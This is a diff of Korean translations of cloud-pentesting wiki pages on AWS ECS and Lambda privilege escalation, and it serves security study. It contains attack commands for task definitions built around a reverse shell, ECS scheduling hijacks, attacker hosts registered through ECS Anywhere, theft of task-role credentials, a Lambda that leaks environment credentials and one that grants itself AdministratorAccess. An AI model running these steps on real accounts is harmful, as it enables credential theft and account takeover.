|
||||
```
|
||||
위 코드 스니펫에서는 공격자가 `taskRoleArn` 값만 재정의합니다. 그러나 공격이 발생하려면 공격자는 명령에서 지정한 `taskRoleArn`과 작업 정의에서 지정한 `executionRoleArn`에 대해 `iam:PassRole` 권한을 가지고 있어야 합니다.
|
||||
위 코드 스니펫에서는 attacker가 `taskRoleArn` 값만 재정의합니다. 다만 공격이 성립하려면 attacker는 명령에 지정된 `taskRoleArn`과 태스크 정의에 지정된 `executionRoleArn`에 대해 `iam:PassRole` 권한을 보유해야 합니다.
|
||||
|
||||
공격자가 전달할 수 있는 IAM 역할이 ECR 이미지를 pull하고 ECS 작업을 시작할 수 있는 충분한 권한(`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`)을 가지고 있다면 공격자는 `ecs run-task` 명령에서 `executionRoleArn`과 `taskRoleArn` 둘 다에 대해 동일한 IAM 역할을 지정할 수 있습니다.
|
||||
attacker가 전달할 수 있는 IAM role이 ECR 이미지 풀과 ECS 태스크 시작에 필요한 권한들(`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`)을 충분히 가지고 있다면, attacker는 `ecs run-task` 명령에서 `executionRoleArn`과 `taskRoleArn`에 동일한 IAM role을 지정할 수 있습니다.
|
||||
```sh
|
||||
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
|
||||
{
|
||||
@@ -125,8 +125,8 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
이전 예와 마찬가지로 공격자는 ECS에서 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 권한을 악용하여 메타데이터 자격 증명을 탈취하는 **악성 컨테이너**를 포함한 **새로운 task definition을 생성**하고 **실행할 수 있다**.\
|
||||
그러나 이 경우, 악성 task definition을 실행하려면 컨테이너 인스턴스가 필요하다.
|
||||
앞선 예와 마찬가지로 공격자는 ECS에서 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 권한을 악용해 메타데이터 자격 증명을 훔치는 **악성 컨테이너**를 포함한 **새 task definition을 생성**하고 이를 **실행**할 수 있습니다.\
|
||||
다만 이 경우, 악성 task definition을 실행할 container instance가 필요합니다.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -142,12 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**잠재적 영향:** ECS 역할에 대한 직접적인 privesc.
|
||||
**Potential Impact:** 모든 ECS role에 대한 직접 privesc.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
|
||||
이전 예제와 마찬가지로, 공격자가 ECS에서 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 또는 **`ecs:CreateService`** 권한을 악용하면, 메타데이터 자격증명을 탈취하는 **악성 컨테이너**를 포함한 **새로운 task definition을 생성**하고, **최소 1개의 task가 실행되는 새 서비스를 생성하여 이를 실행**할 수 있습니다.
|
||||
이전 예제와 마찬가지로, ECS에서 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 또는 **`ecs:CreateService`** 권한을 악용하는 공격자는 메타데이터 자격 증명을 훔치는 **악성 컨테이너**를 포함한 **새로운 task definition을 생성**하고, 최소 1개의 task가 실행되는 새 서비스를 생성하여 **이를 실행할 수 있습니다.**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -170,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
--service <SERVICE NAME> \
|
||||
--task-definition <NEW TASK DEFINITION NAME>
|
||||
```
|
||||
**잠재적 영향:** ECS 역할에 대한 직접 privesc.
|
||||
**Potential Impact:** 어떤 ECS role에 대한 직접적인 privesc.
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
실제로, 이러한 권한만으로 overrides를 사용해 임의의 역할을 가진 컨테이너에서 임의의 명령을 실행할 수 있습니다. 예를 들면:
|
||||
실제로 이러한 권한만으로 overrides를 사용해 임의의 role을 가진 container에서 임의의 명령을 실행할 수 있습니다. 예를 들면:
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--task-definition "<task-name>" \
|
||||
@@ -182,16 +181,16 @@ aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
|
||||
```
|
||||
**잠재적 영향:** ECS role에 대한 직접 privesc.
|
||||
**Potential Impact:** 모든 ECS 역할에 대한 직접적인 privesc.
|
||||
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
이 시나리오는 이전 경우들과 유사하지만 **`iam:PassRole`** 권한이 **없습니다**.\
|
||||
이는 역할이 없어도 임의의 컨테이너를 실행할 수 있다면 여전히 흥미롭습니다. 노드로 탈출하기 위해 **privileged container를 실행**하여 노드에서 실행 중인 **EC2 IAM role** 및 노드에서 실행 중인 **다른 ECS containers의 roles**을 탈취할 수 있습니다.\
|
||||
심지어 손상시킨 **EC2 instance 내부에서 다른 tasks를 실행하도록 강제**하여 그들의 자격증명을 훔칠 수도 있습니다 (자세한 내용은 [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node) 참조).
|
||||
역할이 없는 컨테이너라도 임의로 실행할 수 있다면, 노드로 탈출하기 위해 **privileged 컨테이너를 실행**하여 **EC2 IAM role을 탈취**하고 노드에서 실행 중인 **다른 ECS 컨테이너들의 역할**을 훔칠 수 있습니다.\
|
||||
심지어 타깃으로 삼은 EC2 인스턴스 내부에서 다른 태스크들이 실행되도록 **강제로 실행시켜 해당 자격 증명을 훔칠 수도 있습니다** (자세한 내용은 [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node) 참조).
|
||||
|
||||
> [!WARNING]
|
||||
> 이 공격은 **ECS cluster가 EC2를 사용**하는 인스턴스일 때만 가능하며 Fargate에서는 불가능합니다.
|
||||
> 이 공격은 **ECS cluster가 EC2를 사용하고 있는** 경우에만 가능하며 Fargate에서는 불가능합니다.
|
||||
```bash
|
||||
printf '[
|
||||
{
|
||||
@@ -234,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
공격자는 **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** 권한이 있으면 실행 중인 컨테이너 내부에서 **명령을 실행**하고 그에 연결된 IAM role을 exfiltrate할 수 있습니다 (describe 권한이 필요한데, 이는 `aws ecs execute-command`를 실행하는 데 필요합니다).\
|
||||
하지만 이를 위해서는 컨테이너 인스턴스가 **ExecuteCommand agent**를 실행하고 있어야 합니다(기본적으로는 실행되어 있지 않습니다).
|
||||
**`ecs:ExecuteCommand`, `ecs:DescribeTasks`** 권한을 가진 공격자는 실행 중인 컨테이너 내부에서 **execute commands**를 수행하고 해당 컨테이너에 연결된 IAM role을 exfiltrate할 수 있다 (you need the describe permissions because it's necessary to run `aws ecs execute-command`).\
|
||||
그러나 이를 위해서는 컨테이너 인스턴스가 기본적으로 동작하고 있지 않은 **ExecuteCommand agent**를 실행 중이어야 한다.
|
||||
|
||||
따라서 공격자는 다음을 시도해볼 수 있습니다:
|
||||
따라서 공격자는 다음을 시도할 수 있다:
|
||||
|
||||
- **모든 실행 중인 컨테이너에서 명령 실행 시도**
|
||||
- **Try to run a command** in every running container
|
||||
```bash
|
||||
# List enableExecuteCommand on each task
|
||||
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
|
||||
@@ -257,18 +256,18 @@ aws ecs execute-command --interactive \
|
||||
--cluster "$CLUSTER_ARN" \
|
||||
--task "$TASK_ARN"
|
||||
```
|
||||
- 만약 그가 **`ecs:RunTask`** 권한이 있다면, `aws ecs run-task --enable-execute-command [...]`로 태스크를 실행하세요
|
||||
- 만약 그가 **`ecs:StartTask`** 권한이 있다면, `aws ecs start-task --enable-execute-command [...]`로 태스크를 실행하세요
|
||||
- 만약 그가 **`ecs:CreateService`** 권한이 있다면, `aws ecs create-service --enable-execute-command [...]`로 서비스를 생성하세요
|
||||
- 만약 그가 **`ecs:UpdateService`** 권한이 있다면, `aws ecs update-service --enable-execute-command [...]`로 서비스를 업데이트하세요
|
||||
- 사용자가 **`ecs:RunTask`** 권한이 있으면, `aws ecs run-task --enable-execute-command [...]`로 태스크를 실행하세요.
|
||||
- 사용자가 **`ecs:StartTask`** 권한이 있으면, `aws ecs start-task --enable-execute-command [...]`로 태스크를 실행하세요.
|
||||
- 사용자가 **`ecs:CreateService`** 권한이 있으면, `aws ecs create-service --enable-execute-command [...]`로 서비스를 생성하세요.
|
||||
- 사용자가 **`ecs:UpdateService`** 권한이 있으면, `aws ecs update-service --enable-execute-command [...]`로 서비스를 업데이트하세요.
|
||||
|
||||
해당 옵션들의 **예시**는 **이전 ECS privesc 섹션**에서 확인할 수 있습니다.
|
||||
You can find **examples of those options** in **previous ECS privesc sections**.
|
||||
|
||||
**가능한 영향:** 컨테이너에 할당된 다른 역할로의 Privesc.
|
||||
**Potential Impact:** 컨테이너에 연결된 다른 역할로의 privesc.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
**ssm privesc page**에서 이 권한을 악용해 **privesc to ECS** 하는 방법을 확인하세요:
|
||||
**ssm privesc page**에서 이 권한을 어떻게 악용해 **privesc to ECS** 할 수 있는지 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ssm-privesc/README.md
|
||||
@@ -276,7 +275,7 @@ aws ecs execute-command --interactive \
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
**ec2 privesc page**에서 이 권한들을 악용해 **privesc to ECS** 하는 방법을 확인하세요:
|
||||
**ec2 privesc page**에서 이 권한들을 어떻게 악용해 **privesc to ECS** 할 수 있는지 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-privesc/README.md
|
||||
@@ -284,7 +283,7 @@ aws ecs execute-command --interactive \
|
||||
|
||||
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
|
||||
|
||||
이 권한들을 가진 공격자는 ECS 클러스터에 EC2 인스턴스를 등록하고 그 위에서 태스크를 실행할 수 있습니다. 이는 공격자가 ECS 태스크의 컨텍스트 내에서 임의의 코드를 실행할 수 있게 할 수 있습니다.
|
||||
이 권한들을 가진 공격자는 ECS 클러스터에 EC2 인스턴스를 등록하고 그 위에서 태스크를 실행할 수 있습니다. 이를 통해 공격자는 ECS 태스크 컨텍스트 내에서 임의의 코드를 실행할 수 있습니다.
|
||||
|
||||
- TODO: 다른 AWS 계정의 인스턴스를 등록해서 태스크가 공격자가 제어하는 머신에서 실행되도록 하는 것이 가능한가요??
|
||||
|
||||
@@ -293,7 +292,7 @@ aws ecs execute-command --interactive \
|
||||
> [!NOTE]
|
||||
> TODO: 테스트 필요
|
||||
|
||||
해당 권한(`ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`)을 가진 공격자는 기존 ECS 서비스에 대해 **악의적인 task set을 생성하고 primary task set을 업데이트할 수 있습니다**. 이를 통해 공격자는 서비스 내에서 **임의의 코드를 실행할 수 있습니다**.
|
||||
An attacker with the permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, and `ecs:DescribeTaskSets` can **create a malicious task set for an existing ECS service and update the primary task set**. This allows the attacker to **execute arbitrary code within the service**.
|
||||
```bash
|
||||
# Register a task definition with a reverse shell
|
||||
echo '{
|
||||
@@ -319,29 +318,29 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**잠재적 영향**: 영향을 받는 서비스에서 임의의 코드를 실행하여 서비스 기능에 영향을 주거나 exfiltrating sensitive data.
|
||||
**Potential Impact**: 영향을 받는 서비스에서 임의의 코드를 실행하여 서비스 기능에 영향을 주거나 민감한 데이터를 유출할 수 있음.
|
||||
|
||||
## References
|
||||
|
||||
- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
|
||||
|
||||
ECS capacity providers를 관리하고 서비스를 업데이트할 수 있는 권한이 있는 공격자는 자신이 제어하는 EC2 Auto Scaling Group을 생성하고, 이를 ECS Capacity Provider로 감싸 대상 클러스터에 연결한 뒤 피해자 서비스를 이 프로바이더로 마이그레이션할 수 있습니다. 그러면 Tasks는 공격자 제어 EC2 인스턴스에 스케줄되며, OS-level 접근으로 컨테이너를 검사하고 task role 자격증명을 탈취할 수 있습니다.
|
||||
### 악성 Capacity Provider를 통한 ECS 스케줄링 탈취 (EC2 ASG takeover)
|
||||
|
||||
명령어 (us-east-1):
|
||||
ECS capacity providers를 관리하고 서비스를 업데이트할 수 있는 권한이 있는 공격자는 자신이 제어하는 EC2 Auto Scaling Group을 생성하고 이를 ECS Capacity Provider로 감싼 뒤 대상 클러스터에 연결하고 피해자 서비스를 이 provider로 마이그레이션할 수 있습니다. 그러면 Tasks는 공격자가 제어하는 EC2 인스턴스에 스케줄링되어 OS 수준에서 컨테이너를 조사하고 task role 자격 증명을 탈취할 수 있게 됩니다.
|
||||
|
||||
Commands (us-east-1):
|
||||
|
||||
- 사전 요구사항
|
||||
|
||||
|
||||
|
||||
- 대상 클러스터에 조인하기 위한 ECS agent용 Launch Template 생성
|
||||
- ECS agent가 대상 클러스터에 join하도록 하는 Launch Template 생성
|
||||
|
||||
|
||||
|
||||
@@ -349,7 +348,7 @@ ECS capacity providers를 관리하고 서비스를 업데이트할 수 있는
|
||||
|
||||
|
||||
|
||||
- ASG로부터 Capacity Provider 생성
|
||||
- ASG로 Capacity Provider 생성
|
||||
|
||||
|
||||
|
||||
@@ -361,23 +360,21 @@ ECS capacity providers를 관리하고 서비스를 업데이트할 수 있는
|
||||
|
||||
|
||||
|
||||
- Tasks가 공격자 인스턴스에 배치되었는지 확인
|
||||
- Tasks가 공격자 인스턴스에 배치되는지 확인
|
||||
|
||||
|
||||
|
||||
- 선택사항: EC2 노드에서 docker exec로 대상 컨테이너에 접속하여 http://169.254.170.2 를 읽어 task role 자격증명을 획득
|
||||
- 선택 사항: EC2 노드에서 docker exec로 대상 컨테이너에 접속한 뒤 http://169.254.170.2 를 읽어 task role 자격 증명을 확보.
|
||||
|
||||
- 정리(클린업)
|
||||
|
||||
|
||||
|
||||
- 정리
|
||||
|
||||
|
||||
|
||||
**잠재적 영향:** 공격자 제어 EC2 노드가 피해자 Tasks를 받아 OS-level로 컨테이너에 접근하고 task IAM role 자격증명을 탈취할 수 있습니다.
|
||||
**Potential Impact:** 공격자가 제어하는 EC2 노드에 피해자 Tasks가 배치되어 OS 레벨에서 컨테이너 접근 및 task IAM role 자격 증명 탈취가 가능함.
|
||||
|
||||
|
||||
<details>
|
||||
<summary>단계별 명령어 (복사/붙여넣기)</summary>
|
||||
<summary>Step-by-step commands (copy/paste)</summary>
|
||||
<pre>
|
||||
export AWS_DEFAULT_REGION=us-east-1
|
||||
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
|
||||
@@ -410,25 +407,25 @@ aws ecs describe-container-instances --cluster "" --container-instances "" --que
|
||||
</pre>
|
||||
</details>
|
||||
|
||||
### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
|
||||
### ECS Anywhere EXTERNAL 등록을 통한 클러스터 내 백도어 컴퓨트
|
||||
|
||||
ECS Anywhere를 악용하여 공격자 제어 호스트를 피해자 ECS cluster의 EXTERNAL container instance로 등록하고 privileged task 및 execution roles를 사용해 해당 호스트에서 tasks를 실행할 수 있습니다. 이는 tasks가 어디에서 실행되는지에 대한 OS-level 제어를 부여(자신의 머신에서 실행)하며, capacity providers나 ASGs를 건드리지 않고도 tasks와 연결된 볼륨에서 자격증명/데이터를 탈취할 수 있게 합니다.
|
||||
ECS Anywhere를 악용해 공격자가 제어하는 호스트를 피해자 ECS 클러스터의 EXTERNAL container instance로 등록하고 권한이 높은 task 및 execution role을 사용해 해당 호스트에서 Tasks를 실행할 수 있습니다. 이는 Tasks가 실행되는 위치(OS 수준)를 공격자가 제어하게 하며, capacity providers나 ASGs를 건드리지 않고도 Tasks와 연결된 볼륨에서 자격 증명/데이터를 탈취할 수 있게 합니다.
|
||||
|
||||
- 필요 권한 (예: 최소):
|
||||
- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
|
||||
- 필요 권한(예시 최소):
|
||||
- ecs:CreateCluster (선택적), ecs:RegisterTaskDefinition, ecs:StartTask 또는 ecs:RunTask
|
||||
- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
|
||||
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)
|
||||
- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)
|
||||
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (ECS Anywhere 인스턴스 역할 및 task/execution 역할용)
|
||||
- logs:CreateLogGroup/Stream, logs:PutLogEvents (awslogs 사용 시)
|
||||
|
||||
- 영향: 공격자 호스트에서 선택한 taskRoleArn으로 임의 컨테이너를 실행할 수 있으며; 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI에서 task-role 자격증명을 exfiltrate하고; tasks에 마운트된 모든 볼륨에 접근할 수 있음; capacity providers/ASGs를 조작하는 것보다 은밀함.
|
||||
- 영향: 공격자 호스트에서 선택한 taskRoleArn으로 임의의 컨테이너 실행; 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI에서 task-role 자격 증명 유출; Tasks가 마운트한 볼륨에 접근 가능; capacity providers/ASGs 조작보다 은밀함.
|
||||
|
||||
Steps
|
||||
|
||||
1) Create/identify cluster (us-east-1)
|
||||
1) 클러스터 생성/확인 (us-east-1)
|
||||
```bash
|
||||
aws ecs create-cluster --cluster-name ht-ecs-anywhere
|
||||
```
|
||||
2) ECS Anywhere 역할 및 SSM 활성화 생성 (on-prem/EXTERNAL 인스턴스용)
|
||||
2) ECS Anywhere 역할 생성 및 SSM 활성화 (on-prem/EXTERNAL 인스턴스용)
|
||||
```bash
|
||||
aws iam create-role --role-name ecsAnywhereRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
@@ -437,7 +434,7 @@ aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam:
|
||||
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
|
||||
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
|
||||
```
|
||||
3) attacker host를 프로비저닝하고 EXTERNAL로 자동 등록합니다 (예: 작은 AL2 EC2를 “on‑prem”으로)
|
||||
3) 공격자 호스트를 프로비저닝하고 EXTERNAL로 자동 등록(예: 작은 AL2 EC2를 “on‑prem”로)
|
||||
|
||||
<details>
|
||||
<summary>user-data.sh</summary>
|
||||
@@ -458,14 +455,14 @@ IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
|
||||
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
|
||||
aws ec2 wait instance-status-ok --instance-ids $IID
|
||||
```
|
||||
4) EXTERNAL 컨테이너 인스턴스가 조인되었는지 확인
|
||||
4) EXTERNAL container instance가 조인되었는지 확인
|
||||
```bash
|
||||
aws ecs list-container-instances --cluster ht-ecs-anywhere
|
||||
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
|
||||
--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
|
||||
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
|
||||
```
|
||||
5) task/execution roles을 생성하고, EXTERNAL task definition을 등록한 다음 attacker host에서 실행합니다.
|
||||
5) task/execution roles를 생성하고, EXTERNAL task definition을 등록한 다음 attacker host에서 실행합니다.
|
||||
```bash
|
||||
# roles
|
||||
aws iam create-role --role-name ht-ecs-task-exec \
|
||||
@@ -501,18 +498,18 @@ CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'contain
|
||||
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
|
||||
--container-instances $CI
|
||||
```
|
||||
6) 여기서부터는 tasks를 실행하는 호스트를 제어할 수 있습니다. awslogs인 경우 task 로그를 읽거나 호스트에서 직접 exec하여 tasks의 credentials/data를 exfiltrate할 수 있습니다.
|
||||
6) 이 시점부터 tasks를 실행하는 호스트를 제어할 수 있습니다. task 로그(awslogs인 경우)를 읽거나 호스트에서 직접 exec하여 자격증명/데이터를 exfiltrate할 수 있습니다.
|
||||
|
||||
|
||||
|
||||
#### Command example (placeholders)
|
||||
#### 명령 예시 (플레이스홀더)
|
||||
|
||||
|
||||
|
||||
|
||||
### 악성 Capacity Provider를 통한 ECS 스케줄링 탈취 (EC2 ASG takeover)
|
||||
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
|
||||
|
||||
공격자는 ECS capacity providers를 관리하고 서비스를 업데이트할 수 있는 권한이 있으면, 자신이 제어하는 EC2 Auto Scaling Group을 생성하고 이를 ECS Capacity Provider로 래핑한 뒤 대상 클러스터에 연결하고 피해자 서비스를 해당 provider로 마이그레이션할 수 있습니다. 그러면 tasks가 공격자 제어의 EC2 인스턴스에 스케줄되어 OS 수준에서 컨테이너를 조사하고 task role credentials를 탈취할 수 있게 됩니다.
|
||||
ECS capacity providers를 관리하고 서비스를 업데이트할 수 있는 권한이 있는 공격자는 자신이 제어하는 EC2 Auto Scaling Group을 생성하고 이를 ECS Capacity Provider로 감싼 다음 대상 클러스터에 연결하여 피해자 서비스를 해당 provider로 마이그레이션할 수 있습니다. 그러면 tasks는 공격자가 제어하는 EC2 인스턴스에 스케줄되어 OS-level에서 컨테이너를 검사하고 task role credentials를 탈취할 수 있습니다.
|
||||
|
||||
Commands (us-east-1):
|
||||
|
||||
@@ -520,7 +517,7 @@ Commands (us-east-1):
|
||||
|
||||
|
||||
|
||||
- 대상 클러스터에 조인하기 위한 ECS agent용 Launch Template 생성
|
||||
- ECS agent가 target cluster에 조인하도록 Launch Template 생성
|
||||
|
||||
|
||||
|
||||
@@ -532,7 +529,7 @@ Commands (us-east-1):
|
||||
|
||||
|
||||
|
||||
- Capacity Provider를 클러스터에 연결 (선택적으로 기본으로 설정)
|
||||
- Capacity Provider를 클러스터에 연결(선택적으로 기본으로 설정)
|
||||
|
||||
|
||||
|
||||
@@ -544,10 +541,11 @@ Commands (us-east-1):
|
||||
|
||||
|
||||
|
||||
- 선택 사항: EC2 노드에서 docker exec로 대상 컨테이너에 접속한 뒤 http://169.254.170.2 를 읽어 task role credentials를 획득하세요.
|
||||
- 선택사항: EC2 노드에서 docker exec로 대상 컨테이너에 접속한 후 http://169.254.170.2 를 읽어 task role credentials를 얻으세요.
|
||||
|
||||
- 정리
|
||||
|
||||
|
||||
|
||||
**잠재적 영향:** 공격자가 제어하는 EC2 노드가 피해자 tasks를 수신하여 OS 수준에서 컨테이너에 접근하고 task IAM role credentials를 탈취할 수 있게 됩니다.
|
||||
**잠재적 영향:** 공격자가 제어하는 EC2 노드가 피해자 tasks를 수신하게 되어 컨테이너에 대한 OS-level 접근이 가능해지고 task IAM role credentials가 탈취될 수 있습니다.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## lambda
|
||||
|
||||
lambda에 대한 자세한 내용:
|
||||
More info about lambda in:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
@@ -12,11 +12,11 @@ lambda에 대한 자세한 내용:
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
|
||||
|
||||
다음 권한을 가진 사용자: **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** 는 권한을 상승시킬 수 있습니다.\
|
||||
그들은 **새로운 Lambda function을 생성하고 기존의 IAM role을 할당**할 수 있으며, 이렇게 하면 그 role에 연관된 권한을 함수가 얻게 됩니다. 사용자는 이후 **이 Lambda function에 코드를 작성하고 업로드(예: rev shell)**할 수 있습니다.\
|
||||
함수가 설정되면 사용자는 **AWS API를 통해 Lambda function을 호출하여** 실행을 트리거하고 의도한 동작을 수행할 수 있습니다. 이 방식은 사용자가 Lambda function을 통해 간접적으로 작업을 수행하며, 해당 IAM role에 부여된 접근 수준으로 동작할 수 있게 합니다.\\
|
||||
권한이 **`iam:PassRole`, `lambda:CreateFunction`, `lambda:InvokeFunction`**인 사용자는 권한 상승을 할 수 있습니다.\
|
||||
그들은 **새 Lambda 함수를 생성하고 기존 IAM role을 할당할 수 있으며**, 해당 role에 연결된 권한을 함수에 부여할 수 있습니다. 사용자는 이후 **이 Lambda 함수에 코드를 작성하고 업로드할 수 있습니다 (예: rev shell)**.\
|
||||
함수가 설정되면 사용자는 AWS API를 통해 Lambda 함수를 호출하여 함수의 실행과 의도한 작업을 **트리거할 수 있습니다**. 이 방법은 사용자가 해당 Lambda에 연결된 IAM role이 부여한 접근 수준으로 Lambda 함수를 통해 간접적으로 작업을 수행할 수 있도록 합니다.\\
|
||||
|
||||
공격자는 이를 악용해 **rev shell을 얻고 token을 탈취**할 수 있습니다:
|
||||
공격자는 이를 악용해 **rev shell을 얻고 토큰을 탈취**할 수 있습니다:
|
||||
```python:rev.py
|
||||
import socket,subprocess,os,time
|
||||
def lambda_handler(event, context):
|
||||
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
|
||||
# List roles
|
||||
aws iam list-attached-user-policies --user-name <user-name>
|
||||
```
|
||||
또한 lambda function 자체에서 **abuse the lambda role permissions** 할 수도 있습니다.\
|
||||
lambda role에 충분한 permissions가 있었다면, 이를 사용해 본인에게 admin rights를 부여할 수 있습니다:
|
||||
lambda function 자체에서 **abuse the lambda role permissions** 할 수도 있습니다.\
|
||||
만약 lambda role에 충분한 permissions가 있다면 이를 사용해 자신에게 관리자 권한을 부여할 수 있습니다:
|
||||
```python
|
||||
import boto3
|
||||
def lambda_handler(event, context):
|
||||
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
|
||||
)
|
||||
return response
|
||||
```
|
||||
외부 연결 없이도 lambda의 role credentials를 leak하는 것이 가능합니다. 이는 내부 작업에 사용되는 **네트워크 격리된 Lambdas**에 유용합니다. 알 수 없는 security groups가 your reverse shells을 필터링하고 있다면, 이 코드 조각은 lambda의 출력으로 credentials를 직접 leak할 수 있게 해줍니다.
|
||||
또한 외부 연결 없이 lambda의 role credentials를 leak하는 것도 가능합니다. 이는 내부 작업에 사용되는 **Network isolated Lambdas**에 유용합니다. 만약 알 수 없는 security groups가 당신의 reverse shells를 필터링하고 있다면, 이 코드 조각은 lambda의 출력으로 자격 증명을 직접 leak할 수 있게 해줍니다.
|
||||
```python
|
||||
def handler(event, context):
|
||||
sessiontoken = open('/proc/self/environ', "r").read()
|
||||
@@ -72,34 +72,34 @@ return {
|
||||
aws lambda invoke --function-name <lambda_name> output.txt
|
||||
cat output.txt
|
||||
```
|
||||
**잠재적 영향:** 지정된 임의의 lambda 서비스 역할로의 직접 privesc.
|
||||
**잠재적 영향:** 지정된 임의의 lambda 서비스 역할로의 직접적인 privesc.
|
||||
|
||||
> [!CAUTION]
|
||||
> 흥미로워 보일 수 있지만 **`lambda:InvokeAsync`**은(는) **단독으로는** **`aws lambda invoke-async`를 실행하는 것을** 허용하지 않으며, `lambda:InvokeFunction`도 필요합니다
|
||||
> 흥미로워 보일 수 있지만 **`lambda:InvokeAsync`**는 **단독으로는** **실행 `aws lambda invoke-async`** 할 수 없으며, `lambda:InvokeFunction`도 필요합니다
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
|
||||
|
||||
이전 시나리오와 마찬가지로, `lambda:AddPermission` 권한이 있다면 **자신에게 `lambda:InvokeFunction` 권한을 부여할 수 있습니다**.
|
||||
